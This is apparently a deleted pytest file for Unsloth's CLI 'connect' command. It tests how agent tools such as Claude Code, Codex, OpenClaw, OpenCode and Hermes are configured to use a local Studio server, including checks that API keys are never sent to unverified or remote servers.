-    # Identity handshake has its own tests; trust the loopback server here.
-    monkeypatch.setattr(connect, "verify_studio_identity", lambda base: True)
-    # _studio_token / api-keys are faked so the mint flow stays offline.
-    monkeypatch.setattr(connect, "_studio_token", lambda: "jwt-token")
-    monkeypatch.setattr(connect, "_http_json", http_json)
-    monkeypatch.setattr(connect, "_key_cache_path", lambda: tmp_path / "agent_api_key.json")
-    # No `claude` on PATH, so _claude_cache_flags never probes the real binary.
-    monkeypatch.setattr(connect.shutil, "which", lambda _: None)
-    monkeypatch.setenv("CODEX_HOME", str(tmp_path / "codex"))
-    monkeypatch.delenv("UNSLOTH_API_KEY", raising = False)
-    return calls
-
-
-def test_connect_claude_no_launch(fake_studio, claude_settings):
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    _assert_env_unset(result.output, "ANTHROPIC_API_KEY")
-    _assert_env_unset(result.output, "CLAUDE_CODE_OAUTH_TOKEN")
-    _assert_env_set(result.output, "ANTHROPIC_BASE_URL", BASE)
-    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface")
-    _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"])
-    _assert_env_set(result.output, "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC", "1")
-    _assert_env_set(result.output, "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS", "1")
-    assert f"claude --model {MODEL['id']} --exclude-dynamic-system-prompt-sections" in result.output
-    settings = json.loads(claude_settings.read_text())
-    assert settings["env"]["CLAUDE_CODE_ATTRIBUTION_HEADER"] == "0"
-
-
-def test_connect_claude_launch_scrubs_conflicting_auth_env(fake_studio, monkeypatch):
-    captured = {}
-    monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-anthropic-stale")
-    monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "oauth-stale")
-    monkeypatch.setattr(connect.shutil, "which", lambda _: "/usr/local/bin/claude")
-    monkeypatch.setattr(connect, "_claude_cache_flags", lambda: [])
-
-    def run(command, env):
-        captured["command"] = command
-        captured["env"] = env
-        return SimpleNamespace(returncode = 0)
-
-    monkeypatch.setattr(connect.subprocess, "run", run)
-    result = CliRunner().invoke(connect.connect_app, ["claude"])
-
-    assert result.exit_code == 0, result.output
-    assert captured["command"] == ["/usr/local/bin/claude", "--model", MODEL["id"]]
-    assert "ANTHROPIC_API_KEY" not in captured["env"]
-    assert "CLAUDE_CODE_OAUTH_TOKEN" not in captured["env"]
-    assert captured["env"]["ANTHROPIC_AUTH_TOKEN"] == "sk-unsloth-feedfacefeedface"
-    assert captured["env"]["ANTHROPIC_BASE_URL"] == BASE
-    assert captured["env"]["ANTHROPIC_MODEL"] == MODEL["id"]
-
-
-@pytest.mark.skipif(
-    os.name == "nt",
-    reason = "WSL-from-Linux scenario (calling a Windows agent .exe from inside WSL); "
-    "os.name is 'posix' under WSL, so this path can't run on a native Windows runner.",
-)
-def test_connect_claude_windows_shim_from_wsl_bridges_env(fake_studio, monkeypatch):
-    captured = {}
-    monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu")
-    monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-anthropic-stale")
-    monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "oauth-stale")
-    monkeypatch.setattr(
-        connect.shutil, "which", lambda _: "/mnt/c/Users/samle/AppData/Roaming/npm/claude"
-    )
-    monkeypatch.setattr(connect, "_claude_cache_flags", lambda: [])
-
-    def run(command, env):
-        captured["command"] = command
-        captured["env"] = env
-        return SimpleNamespace(returncode = 0)
-
-    monkeypatch.setattr(connect.subprocess, "run", run)
-    result = CliRunner().invoke(connect.connect_app, ["claude"])
-
-    assert result.exit_code == 0, result.output
-    assert captured["command"] == [
-        "/mnt/c/Users/samle/AppData/Roaming/npm/claude",
-        "--model",
-        MODEL["id"],
-    ]
-    assert captured["env"]["ANTHROPIC_API_KEY"] == ""
-    assert captured["env"]["CLAUDE_CODE_OAUTH_TOKEN"] == ""
-    assert captured["env"]["ANTHROPIC_AUTH_TOKEN"] == "sk-unsloth-feedfacefeedface"
-    assert captured["env"]["ANTHROPIC_BASE_URL"] == BASE
-    assert captured["env"]["ANTHROPIC_MODEL"] == MODEL["id"]
-    for name in (
-        "ANTHROPIC_AUTH_TOKEN",
-        "ANTHROPIC_BASE_URL",
-        "ANTHROPIC_MODEL",
-        "ANTHROPIC_API_KEY",
-        "CLAUDE_CODE_OAUTH_TOKEN",
-    ):
-        assert name in captured["env"]["WSLENV"].split(":")
-
-
-@pytest.mark.skipif(
-    os.name == "nt",
-    reason = "WSL-from-Linux scenario (calling a Windows agent .exe from inside WSL); "
-    "os.name is 'posix' under WSL, so this path can't run on a native Windows runner.",
-)
-def test_connect_claude_no_launch_windows_shim_from_wsl_prints_wslenv(fake_studio, monkeypatch):
-    monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu")
-    monkeypatch.setattr(
-        connect.shutil, "which", lambda _: "/mnt/c/Users/samle/AppData/Roaming/npm/claude"
-    )
-
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-
-    assert result.exit_code == 0, result.output
-    assert "export ANTHROPIC_API_KEY=" in result.output
-    assert "export CLAUDE_CODE_OAUTH_TOKEN=" in result.output
-    assert "export WSLENV=" in result.output
-    assert "ANTHROPIC_AUTH_TOKEN" in result.output
-    assert "CLAUDE_CODE_OAUTH_TOKEN" in result.output
-
-
-def test_connect_codex_no_launch(fake_studio, tmp_path):
-    result = CliRunner().invoke(connect.connect_app, ["codex", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "UNSLOTH_STUDIO_AUTH_TOKEN", "sk-unsloth-feedfacefeedface")
-    assert "codex --oss --profile unsloth_api" in result.output
-    assert (tmp_path / "codex" / "config.toml").exists()
-    assert (tmp_path / "codex" / "unsloth_api.config.toml").exists()
-
-
-def test_connect_key_minted_once_then_cached(fake_studio, tmp_path):
-    CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    # First run mints; second reuses the minted key cached for this server.
-    mints = [c for c in fake_studio if c[1].endswith("/api/auth/api-keys")]
-    assert len(mints) == 1
-    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
-    assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface"]
-
-
-def test_connect_explicit_key_remembered_for_keyless_runs(fake_studio, tmp_path):
-    CliRunner().invoke(
-        connect.connect_app,
-        ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
-    )
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    # Reused, not re-minted (a mint would return the feedface stand-in).
-    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
-    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
-    # An explicit key is remembered as "saved" so it replays without the handshake.
-    assert cached["servers"][BASE]["saved"] == ["sk-unsloth-deadbeefdeadbeef"]
-
-
-def test_connect_skips_cached_keys_the_server_rejects(fake_studio, tmp_path, monkeypatch):
-    cache = tmp_path / "agent_api_key.json"
-    cache.write_text(
-        json.dumps(
-            {"servers": {BASE: {"minted": ["sk-unsloth-stale", "sk-unsloth-feedfacefeedface"]}}}
-        )
-    )
-    inner = connect._http_json
-
-    def http_json(
-        method,
-        url,
-        token,
-        payload = None,
-        timeout = 30,
-        error = None,
-    ):
-        if url.endswith("/v1/models") and token == "sk-unsloth-stale":
-            raise urllib.error.HTTPError(url, 401, "Unauthorized", None, None)
-        return inner(method, url, token, payload, timeout, error)
-
-    monkeypatch.setattr(connect, "_http_json", http_json)
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface")
-    # The working key moves to the front so the next run tries it first.
-    cached = json.loads(cache.read_text())
-    assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface", "sk-unsloth-stale"]
-
-
-def test_connect_legacy_unscoped_cache_not_replayed(fake_studio, tmp_path):
-    # Legacy unscoped caches have no server binding (could leak across servers),
-    # so they're ignored: a fresh key is minted and stored scoped to this server.
-    (tmp_path / "agent_api_key.json").write_text(json.dumps({"key": "sk-unsloth-oldformat"}))
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface")
-    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
-    assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface"]
-    assert "key" not in cached  # legacy field collapsed away
-
-
-def test_connect_model_flag_loads_on_server(fake_studio):
-    result = CliRunner().invoke(
-        connect.connect_app, ["claude", "--no-launch", "--model", "unsloth/Qwen3.5-35B-A3B"]
-    )
-    assert result.exit_code == 0, result.output
-    loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")]
-    assert loads == [
-        ("POST", f"{BASE}/api/inference/load", {"model_path": "unsloth/Qwen3.5-35B-A3B"})
-    ]
-    _assert_env_set(result.output, "ANTHROPIC_MODEL", "unsloth/Qwen3.5-35B-A3B")
-
-
-def test_connect_model_flag_matches_canonical_id(fake_studio, monkeypatch):
-    # Studio registers a loaded model under a canonical id (resolved identifier
-    # / casing) that can differ from the path we passed. The agent must connect
-    # to that model, not silently fall through to the first loaded one.
-    requested = "Unsloth/Qwen3.5-35B-A3B"
-    canonical = "unsloth/Qwen3.5-35B-A3B"
-    inner = connect._http_json
-
-    def http_json(
-        method,
-        url,
-        token,
-        payload = None,
-        timeout = 30,
-        error = None,
-    ):
-        if url.endswith("/api/inference/load"):
-            return {"model": canonical, "display_name": canonical}
-        if url.endswith("/v1/models"):
-            # Decoy sorts first, so models[0] is the wrong pick on the old code.
-            return {"object": "list", "data": [MODEL, {"id": canonical, "context_length": 4096}]}
-        return inner(method, url, token, payload, timeout, error)
-
-    monkeypatch.setattr(connect, "_http_json", http_json)
-    result = CliRunner().invoke(
-        connect.connect_app, ["claude", "--no-launch", "--model", requested]
-    )
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "ANTHROPIC_MODEL", canonical)
-
-
-def test_connect_no_model_loaded_errors(fake_studio, monkeypatch):
-    monkeypatch.setattr(
-        connect,
-        "_http_json",
-        lambda method, url, token, payload = None, timeout = 30, error = None: (
-            {"key": "sk-unsloth-feedfacefeedface"}
-            if url.endswith("/api/auth/api-keys")
-            else {"object": "list", "data": []}
-        ),
-    )
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 1
-    assert "No model is loaded" in result.output
-
-
-def test_connect_requested_model_not_loaded_fails(fake_studio, monkeypatch):
-    # Studio never surfaces the requested model; fail loudly rather than
-    # silently connecting to whatever else happens to be loaded.
-    inner = connect._http_json
-
-    def http_json(
-        method,
-        url,
-        token,
-        payload = None,
-        timeout = 30,
-        error = None,
-    ):
-        if url.endswith("/api/inference/load"):
-            return {}
-        if url.endswith("/v1/models"):
-            return {"object": "list", "data": [MODEL]}  # decoy; request never appears
-        return inner(method, url, token, payload, timeout, error)
-
-    monkeypatch.setattr(connect, "_http_json", http_json)
-    result = CliRunner().invoke(
-        connect.connect_app, ["claude", "--no-launch", "--model", "unsloth/Missing-7B"]
-    )
-    assert result.exit_code == 1
-    assert "unsloth/Missing-7B" in result.output
-
-
-def test_connect_codex_rejects_non_gguf_model(fake_studio, monkeypatch):
-    inner = connect._http_json
-
-    def http_json(
-        method,
-        url,
-        token,
-        payload = None,
-        timeout = 30,
-        error = None,
-    ):
-        if url.endswith("/api/inference/status"):
-            return {"is_gguf": False, "model_identifier": "unsloth/Qwen3-0.6B"}
-        return inner(method, url, token, payload, timeout, error)
-
-    monkeypatch.setattr(connect, "_http_json", http_json)
-    result = CliRunner().invoke(connect.connect_app, ["codex", "--no-launch"])
-    assert result.exit_code == 1
-    assert "GGUF" in result.output
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 0, result.output
-
-
-def test_connect_nonloopback_keyless_refuses_to_send_credential(fake_studio, monkeypatch):
-    # A server known only by URL + health check is unverified: keyless connect
-    # must refuse and make no request at all.
-    monkeypatch.setattr(connect, "find_studio_server", lambda: "http://studio.evil.example:8888")
-    result = CliRunner().invoke(connect.connect_app, ["opencode", "--no-launch"])
-    assert result.exit_code == 1
-    assert "Settings → API" in result.output
-    assert "--api-key" in result.output
-    assert fake_studio == []  # no HTTP request of any kind (no mint, no /v1/models)
-
-
-def test_connect_nonloopback_explicit_key_is_allowed(fake_studio, monkeypatch):
-    # User named both server and key, so it's their choice; only auto-send is blocked.
-    monkeypatch.setattr(connect, "find_studio_server", lambda: "http://studio.example:8888")
-    result = CliRunner().invoke(
-        connect.connect_app,
-        ["opencode", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
-    )
-    assert result.exit_code == 0, result.output
-
-
-def test_connect_nonloopback_replays_saved_key(fake_studio, tmp_path, monkeypatch):
-    # A key saved for a remote (non-loopback) Studio is replayed on keyless runs;
-    # auto-minting stays blocked for non-loopback.
-    remote = "http://studio.example:8888"
-    monkeypatch.setattr(connect, "find_studio_server", lambda: remote)
-    (tmp_path / "agent_api_key.json").write_text(
-        json.dumps({"servers": {remote: {"saved": ["sk-unsloth-deadbeefdeadbeef"]}}})
-    )
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
-    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)  # never minted
-
-
-def test_connect_studio_server_errors_on_explicit_remote(monkeypatch):
-    # A user who pointed UNSLOTH_STUDIO_URL at a remote Studio should get an
-    # error, not a silent local model load (which they did not ask for).
-    import typer
-
-    import unsloth_cli._inference as inference
-
-    monkeypatch.setenv("UNSLOTH_STUDIO_URL", "http://studio.example:8888")
-    monkeypatch.setattr(
-        inference, "find_studio_server", lambda *a, **k: "http://studio.example:8888"
-    )
-    with pytest.raises(typer.Exit):
-        inference.connect_studio_server("m", hf_token = None, max_seq_length = 4096, load_in_4bit = False)
-
-
-def test_connect_studio_server_falls_back_locally_on_default_discovery(monkeypatch):
-    # Opportunistic local discovery (no UNSLOTH_STUDIO_URL): if the loopback
-    # server can't be verified, fall back to a local load rather than erroring.
-    import unsloth_cli._inference as inference
-
-    monkeypatch.delenv("UNSLOTH_STUDIO_URL", raising = False)
-    monkeypatch.setattr(inference, "find_studio_server", lambda *a, **k: "http://127.0.0.1:8888")
-    monkeypatch.setattr(inference, "verify_studio_identity", lambda *a, **k: False)
-    assert (
-        inference.connect_studio_server("m", hf_token = None, max_seq_length = 4096, load_in_4bit = False)
-        is None
-    )
-
-
-def test_connect_unverified_loopback_without_cached_key_refuses_to_mint(
-    fake_studio, tmp_path, monkeypatch
-):
-    # With no saved key, the next step would auto-mint; an unverified loopback
-    # server (port squatter) must be refused, with nothing sent.
-    monkeypatch.setattr(connect, "verify_studio_identity", lambda base: False)
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 1
-    assert "--api-key" in result.output
-    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)  # never minted
-
-
-def test_connect_replays_saved_key_without_identity_check(fake_studio, tmp_path, monkeypatch):
-    # A "saved" key (e.g. for an SSH-tunnelled Studio the handshake can't match)
-    # replays on keyless runs without the handshake, scoped to its own base.
-    cache = tmp_path / "agent_api_key.json"
-    cache.write_text(json.dumps({"servers": {BASE: {"saved": ["sk-unsloth-deadbeefdeadbeef"]}}}))
-    monkeypatch.setattr(connect, "verify_studio_identity", lambda base: False)
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
-    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)  # reused, not minted
-
-
-def test_connect_minted_cache_requires_identity_check(fake_studio, tmp_path, monkeypatch):
-    # A "minted" key is NOT replayed to an unverified loopback server: minting and
-    # minted-key replay both sit behind the handshake, so a squatter can't grab it.
-    cache = tmp_path / "agent_api_key.json"
-    cache.write_text(json.dumps({"servers": {BASE: {"minted": ["sk-unsloth-feedfacefeedface"]}}}))
-    monkeypatch.setattr(connect, "verify_studio_identity", lambda base: False)
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 1
-    assert "--api-key" in result.output
-    assert not any(c[1].endswith("/v1/models") for c in fake_studio)  # minted key never sent
-
-
-def test_connect_explicit_key_skips_identity_check(fake_studio, monkeypatch):
-    # An explicit key is the user's deliberate choice, so it does not require
-    # the automatic identity handshake.
-    monkeypatch.setattr(connect, "verify_studio_identity", lambda base: False)
-    result = CliRunner().invoke(
-        connect.connect_app,
-        ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
-    )
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
-
-
-def _serve_identity(proof_for):
-    """Start a localhost HTTP server answering /api/auth/identity with
-    proof_for(nonce_bytes). Returns (base_url, shutdown)."""
-    import base64
-    import threading
-    from http.server import BaseHTTPRequestHandler, HTTPServer
-    from urllib.parse import parse_qs, urlparse
-
-    class Handler(BaseHTTPRequestHandler):
-        def do_GET(self):
-            parsed = urlparse(self.path)
-            if parsed.path != "/api/auth/identity":
-                self.send_response(404)
-                self.end_headers()
-                return
-            nonce = base64.urlsafe_b64decode(parse_qs(parsed.query)["nonce"][0])
-            host, port = self.server.server_address[0], self.server.server_address[1]
-            body = json.dumps({"proof": proof_for(nonce, host, port)}).encode()
-            self.send_response(200)
-            self.send_header("Content-Type", "application/json")
-            self.end_headers()
-            self.wfile.write(body)
-
-        def log_message(self, *a):
-            pass
-
-    server = HTTPServer(("127.0.0.1", 0), Handler)
-    threading.Thread(target = server.serve_forever, daemon = True).start()
-    base = f"http://127.0.0.1:{server.server_address[1]}"
-    return base, server.shutdown
-
-
-def test_verify_studio_identity_end_to_end(tmp_path, monkeypatch):
-    # Real crypto end to end: verify_studio_identity reads the install secret from
-    # an isolated DB; a "good" server proves the same secret, a spoofing one can't.
-    import unsloth_cli._inference as inference
-
-    inference.ensure_studio_backend_path()
-    try:
-        from studio.backend.auth import storage
-    except Exception as exc:  # backend not importable here (e.g. missing deps)
-        pytest.skip(f"studio backend not importable: {exc}")
-
-    monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db")
-    monkeypatch.setattr(storage, "_identity_secret_cache", None)
-
-    good = lambda nonce, host, port: storage.compute_identity_proof(
-        nonce, host, port
-    )  # real secret
-    bad = lambda nonce, host, port: "00" * 32  # spoofer without the secret
-    base_ok, stop_ok = _serve_identity(good)
-    base_bad, stop_bad = _serve_identity(bad)
-    try:
-        assert inference.verify_studio_identity(base_ok) is True
-        assert inference.verify_studio_identity(base_bad) is False
-    finally:
-        stop_ok()
-        stop_bad()
-
-
-def _serve_redirect(target):
-    """Start a localhost server that 302-redirects every GET to target+path."""
-    import threading
-    from http.server import BaseHTTPRequestHandler, HTTPServer
-
-    class Handler(BaseHTTPRequestHandler):
-        def do_GET(self):
-            self.send_response(302)
-            self.send_header("Location", target + self.path)
-            self.end_headers()
-
-        def log_message(self, *a):
-            pass
-
-    server = HTTPServer(("127.0.0.1", 0), Handler)
-    threading.Thread(target = server.serve_forever, daemon = True).start()
-    base = f"http://127.0.0.1:{server.server_address[1]}"
-    return base, server.shutdown
-
-
-def test_verify_studio_identity_rejects_redirect(tmp_path, monkeypatch):
-    # A squatter could 302 /api/auth/identity to the real Studio and relay its
-    # proof; redirects must be refused so the squatter's base isn't accepted.
-    import unsloth_cli._inference as inference
-
-    inference.ensure_studio_backend_path()
-    try:
-        from studio.backend.auth import storage
-    except Exception as exc:
-        pytest.skip(f"studio backend not importable: {exc}")
-
-    monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db")
-    monkeypatch.setattr(storage, "_identity_secret_cache", None)
-
-    real_base, stop_real = _serve_identity(
-        lambda nonce, host, port: storage.compute_identity_proof(nonce, host, port)
-    )
-    squatter_base, stop_squatter = _serve_redirect(real_base)
-    try:
-        assert inference.verify_studio_identity(real_base) is True  # direct: ok
-        assert inference.verify_studio_identity(squatter_base) is False  # relayed: refused
-    finally:
-        stop_real()
-        stop_squatter()
-
-
-def test_verify_studio_identity_rejects_relayed_proof(tmp_path, monkeypatch):
-    # A squatter that proxies the nonce to the real Studio on another port gets a
-    # proof bound to *that* port; the client expects one bound to the port it
-    # connected to, so the relayed proof is rejected.
-    import unsloth_cli._inference as inference
-
-    inference.ensure_studio_backend_path()
-    try:
-        from studio.backend.auth import storage
-    except Exception as exc:
-        pytest.skip(f"studio backend not importable: {exc}")
-
-    monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db")
-    monkeypatch.setattr(storage, "_identity_secret_cache", None)
-
-    real_base, stop_real = _serve_identity(
-        lambda nonce, host, port: storage.compute_identity_proof(nonce, host, port)
-    )
-    real_port = int(real_base.rsplit(":", 1)[1])
-    # The squatter answers on its own port but returns the proof for the real port.
-    squatter_base, stop_squatter = _serve_identity(
-        lambda nonce, host, port: storage.compute_identity_proof(nonce, host, real_port)
-    )
-    try:
-        assert inference.verify_studio_identity(real_base) is True
-        assert inference.verify_studio_identity(squatter_base) is False
-    finally:
-        stop_real()
-        stop_squatter()
-
-
-@pytest.mark.parametrize(
-    "url, loopback",
-    [
-        ("http://127.0.0.1:8888", True),
-        ("http://localhost:8888", True),
-        ("http://[::1]:8888", True),
-        ("http://127.0.0.5:9001", True),  # SSH tunnels can land anywhere in 127/8
-        ("http://0.0.0.0:8888", False),
-        ("http://10.0.0.5:8888", False),
-        ("http://studio.evil.example:8888", False),
-        ("https://studio.example.com", False),
-    ],
-)
-def test_is_loopback_url(url, loopback):
-    assert connect.is_loopback_url(url) is loopback
-
-
-def test_connect_no_studio_errors(fake_studio, monkeypatch):
-    monkeypatch.setattr(connect, "find_studio_server", lambda: None)
-    result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"])
-    assert result.exit_code == 1
-    assert "No running Studio server" in result.output
-
-
-def test_connect_explicit_api_key_skips_mint(fake_studio):
-    result = CliRunner().invoke(
-        connect.connect_app,
-        ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"],
-    )
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef")
-    assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio)
-
-
-# ── OpenClaw (Anthropic /v1/messages) ────────────────────────────────
-
-
-def test_write_openclaw_config_fresh(tmp_path, monkeypatch):
-    path = tmp_path / "openclaw.json"
-    monkeypatch.setattr(connect, "openclaw_config_path", lambda: path)
-    connect.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL)
-    config = json.loads(path.read_text())
-    provider = config["models"]["providers"]["unsloth"]
-    assert provider["baseUrl"] == f"{BASE}/v1"
-    assert provider["apiKey"] == "sk-unsloth-abc"
-    assert provider["api"] == "openai-completions"
-    assert provider["models"] == [
-        {"id": MODEL["id"], "name": MODEL["id"], "contextWindow": MODEL["context_length"]}
-    ]
-    # The default model must be pinned or OpenClaw has nothing active.
-    assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}"
-    assert config["gateway"]["mode"] == "local"
-    assert config["gateway"]["auth"]["mode"] == "none"  # unauth loopback gateway
-    if os.name != "nt":  # the file holds an API key
-        assert path.stat().st_mode & 0o777 == 0o600
-
-
-def test_write_openclaw_config_preserves_and_idempotent(tmp_path, monkeypatch):
-    path = tmp_path / "openclaw.json"
-    monkeypatch.setattr(connect, "openclaw_config_path", lambda: path)
-    path.write_text(
-        json.dumps(
-            {
-                "theme": "dark",
-                "agents": {"defaults": {"temperature": 0.5}},
-                "models": {"mode": "replace", "providers": {"openrouter": {"baseUrl": "x"}}},
-            }
-        )
-    )
-    connect.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL)
-    config = json.loads(path.read_text())
-    assert config["theme"] == "dark"
-    assert config["agents"]["defaults"]["temperature"] == 0.5  # other agent defaults kept
-    assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}"
-    assert config["models"]["mode"] == "replace"  # user's mode is left as-is
-    assert config["models"]["providers"]["openrouter"]["baseUrl"] == "x"
-    assert config["models"]["providers"]["unsloth"]["baseUrl"] == f"{BASE}/v1"
-    before = path.read_text()
-    connect.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL)
-    assert path.read_text() == before
-
-
-def test_write_openclaw_config_corrupt_left_alone(tmp_path, monkeypatch, capsys):
-    path = tmp_path / "openclaw.json"
-    monkeypatch.setattr(connect, "openclaw_config_path", lambda: path)
-    path.write_text("{not json")
-    connect.write_openclaw_config(BASE, "sk-unsloth-abc", MODEL)
-    assert path.read_text() == "{not json"
-    assert "couldn't parse" in capsys.readouterr().err
-
-
-def test_connect_openclaw_no_launch(fake_studio, tmp_path, monkeypatch):
-    path = tmp_path / "openclaw.json"
-    monkeypatch.setattr(connect, "openclaw_config_path", lambda: path)
-    result = CliRunner().invoke(connect.connect_app, ["openclaw", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    assert "openclaw" in result.output
-    assert "export" not in result.output  # key lives in the config, not the env
-    config = json.loads(path.read_text())
-    assert config["models"]["providers"]["unsloth"]["apiKey"] == "sk-unsloth-feedfacefeedface"
-    assert config["agents"]["defaults"]["model"]["primary"] == f"unsloth/{MODEL['id']}"
-    # OpenAI /v1/chat/completions works on either backend — no GGUF gate.
-    assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
-
-
-# ── OpenCode (OpenAI /v1/chat/completions) ───────────────────────────
-
-
-def test_write_opencode_config_fresh(tmp_path, monkeypatch):
-    path = tmp_path / "opencode.json"
-    monkeypatch.setattr(connect, "opencode_config_path", lambda: path)
-    connect.write_opencode_config(BASE, "sk-unsloth-abc", MODEL)
-    config = json.loads(path.read_text())
-    provider = config["provider"]["unsloth"]
-    assert provider["npm"] == "@ai-sdk/openai-compatible"
-    assert provider["options"] == {"baseURL": f"{BASE}/v1", "apiKey": "sk-unsloth-abc"}
-    assert provider["models"] == {MODEL["id"]: {"name": MODEL["id"]}}
-    assert config["model"] == f"unsloth/{MODEL['id']}"
-
-
-def test_write_opencode_config_preserves_and_idempotent(tmp_path, monkeypatch):
-    path = tmp_path / "opencode.json"
-    monkeypatch.setattr(connect, "opencode_config_path", lambda: path)
-    path.write_text(
-        json.dumps({"theme": "tokyonight", "provider": {"anthropic": {"name": "Anthropic"}}})
-    )
-    connect.write_opencode_config(BASE, "sk-unsloth-abc", MODEL)
-    config = json.loads(path.read_text())
-    assert config["theme"] == "tokyonight"
-    assert config["provider"]["anthropic"]["name"] == "Anthropic"
-    assert config["provider"]["unsloth"]["options"]["baseURL"] == f"{BASE}/v1"
-    before = path.read_text()
-    connect.write_opencode_config(BASE, "sk-unsloth-abc", MODEL)
-    assert path.read_text() == before
-
-
-def test_connect_opencode_no_launch(fake_studio, tmp_path, monkeypatch):
-    path = tmp_path / "opencode.json"
-    monkeypatch.setattr(connect, "opencode_config_path", lambda: path)
-    result = CliRunner().invoke(connect.connect_app, ["opencode", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    assert "opencode" in result.output
-    config = json.loads(path.read_text())
-    assert config["provider"]["unsloth"]["options"]["apiKey"] == "sk-unsloth-feedfacefeedface"
-    assert config["model"] == f"unsloth/{MODEL['id']}"
-    assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
-
-
-# ── Hermes (OpenAI /v1/chat/completions, key via env) ────────────────
-
-
-@pytest.fixture()
-def hermes_config(tmp_path, monkeypatch):
-    path = tmp_path / "config.yaml"
-    monkeypatch.setattr(connect, "hermes_config_path", lambda: path)
-    return path
-
-
-def test_write_hermes_config_fresh(hermes_config):
-    yaml = pytest.importorskip("yaml")
-    connect.write_hermes_config(BASE, MODEL)
-    config = yaml.safe_load(hermes_config.read_text())
-    # Hermes only honors the key for a *named* custom provider, so the endpoint
-    # is registered under providers.* and model.provider points at it.
-    assert config["model"]["provider"] == "custom:unsloth"
-    assert config["model"]["default"] == MODEL["id"]
-    assert config["model"]["api_mode"] == "openai"
-    provider = config["providers"]["unsloth"]
-    assert provider["base_url"] == f"{BASE}/v1"
-    assert provider["api_mode"] == "openai"
-    assert provider["key_env"] == "UNSLOTH_API_KEY"
-    # The key is resolved from the launch env, never written to disk.
-    assert "sk-unsloth" not in hermes_config.read_text()
-
-
-def test_write_hermes_config_preserves_and_idempotent(hermes_config):
-    yaml = pytest.importorskip("yaml")
-    hermes_config.write_text(
-        yaml.safe_dump(
-            {
-                "terminal": {"backend": "local"},
-                "model": {"temperature": 0.7},
-                "providers": {"openrouter": {"base_url": "https://openrouter.ai/api/v1"}},
-            }
-        )
-    )
-    connect.write_hermes_config(BASE, MODEL)
-    config = yaml.safe_load(hermes_config.read_text())
-    assert config["terminal"] == {"backend": "local"}  # unrelated sections kept
-    assert config["model"]["temperature"] == 0.7  # unrelated model keys kept
-    assert config["model"]["provider"] == "custom:unsloth"
